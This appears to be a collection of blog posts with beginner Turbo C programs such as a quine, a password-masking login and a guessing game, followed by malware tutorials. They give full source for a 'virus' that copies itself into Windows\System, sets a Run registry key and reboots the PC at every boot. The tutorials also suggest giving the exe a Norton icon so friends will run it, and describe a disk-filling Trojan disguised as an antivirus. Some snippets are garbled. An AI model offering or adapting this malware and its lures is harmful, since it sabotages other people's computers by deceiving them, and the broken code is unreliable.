This program can be used to print character without using any output statements. This program only works in 16-bit mode since it directly writes to VDU Memory.
This program accepts any valid C Program as an input and removes the comments and blanks from it. The output is a program that has no comments and blank lines.
Here is a C program to print it’s own source code. That is the output of this program is exactly same as it’s source code. Here’s the program
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}
This program displays the number of digits present in the number that is entered through the input.
void main()
{
unsigned long int num;
int i=0;
clrscr();
printf(“Enter the digit\n”);
scanf(“%lu”,&num);
while(num!=0)
{
num=num/10;
++i;
}
printf(“Length=%d”,i);
getch();
}
This program can be used to print a string without using any output statements such as printf, puts etc. However this program only works in 16-bit mode since it directly writes to VDU Memory
The following C program print’s the entered number in words. For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five
This C program generates the numbers in pyramid pattern. It takes the input from two through nine and generates the numbers in the pyramid pattern. For example if the input is 4 then the program produces the following output
…
….1
1111112 2
111113 3 3
111.4 4 4 4 & so on..
CODE:
This is a simple program to generate random numbers. This logic can be used to build a Lotto program or a program to pick Lucky number and so on. Here’s the program
int main(void)
{
int i;
time_t t;
srand((unsigned) time(&t));
printf(“Ten random numbers from 0 to 99\n\n”);
for(i=0; i<10;i++)
printf(“%d\n”,rand()%100);
}
This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly.
char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘\b’);
putch(NULL);
putch(‘\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0′;
printf(“\n\n%s”,pw);
getch();
}
This program reads the current system time and displays it in the form HH:MM:SS
int main(void)
{
struct time t;
gettime(&t);
printf(“The current time is: %2d:%02d:%02d\n”, t.ti_hour, t.ti_min, t.ti_sec);
return 0;
}
This program can be used to set or change the system time
int main(void)
{
struct time t;
gettime(&t);
printf(“The current hour is: %d\n”, t.ti_hour);
printf(“The current min is: %d\n”, t.ti_min);
printf(“The current second is: %d\n”, t.ti_sec);
/* Add one to the hour,minute & sec struct element and then call settime */
t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(“The current hour is: %d\n”, t.ti_hour);
printf(“The current min is: %d\n”, t.ti_min);
printf(“The current second is: %d\n”, t.ti_sec);
return 0;
}
This program will get or read the current system date from the system. It displays Year, Month and Day.
int main(void)
{
struct date d;
getdate(&d);
printf(“The current year is: %d\n”, d.da_year);
printf(“The current day is: %d\n”, d.da_day);
printf(“The current month is: %d\n”, d.da_mon);
return 0;
}
The problem is as follows…
Initially I have a pair of adult pigeons (capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years (60 months). But the young pair starts breeding only when it is 2 months old. Once the adult pigeon pair starts breeding it never stops untils the age of 5 years. Assume the age of initial adult pigeon is 2 months old. This program takes the no. of months as input and will calculate the total no. of pigeons over a given time (as given by the input). This problem is framed, based on my own imagination and I call this problem as PIGEON BREEDING PROBLEM. Here is the code
struct node
{
int age;
struct node *link;
};
typedef struct node* NODE;
NODE getnode()
{
NODE x;
x=(NODE)malloc(sizeof(struct node));
if(x==NULL)
{
printf(“Out of memory\n”);
exit(1);
}
return x;
}
void main()
{
unsigned long int count=1;
unsigned int months,i;
NODE first=getnode();/*this is the intial adult pair*/
first->age=2; /*assume the age of initial adult pair as 2*/
first->link=NULL;
printf(“Enter the no. of months\n”);
scanf(“%u”,&months);
for(i=0;iage>=2)&&(temp->age<=60)) { NODE temp1=getnode(); temp->age+=1;
temp1->age=1;
temp1->link=first;
first=temp1;
temp=temp->link;
++count;
}
else
{
temp->age+=1;
temp=temp->link;
}
}
}
printf(“Total no. of pairs after %u months=%ld\n”,months,count);
}
This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code
HOW TO COMPILE ?
Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.
This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code
void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}
int begin()
{
printf(” hello “);
}
Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?
Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.
The ‘##‘ operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.
Look at the 2nd line of program -
What is the preprocessor doing here. The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut). The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).
Now look at the third line of the program -
Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,1st,3rd & the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.
So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler. That’s it…
The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word begin” by “main”. In simple words int begin=int main.
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.
Here is the source code.
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your ownusing C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dllextention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.
Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
Please pass your comments and tell me your opinion. I am just waiting for your comments…
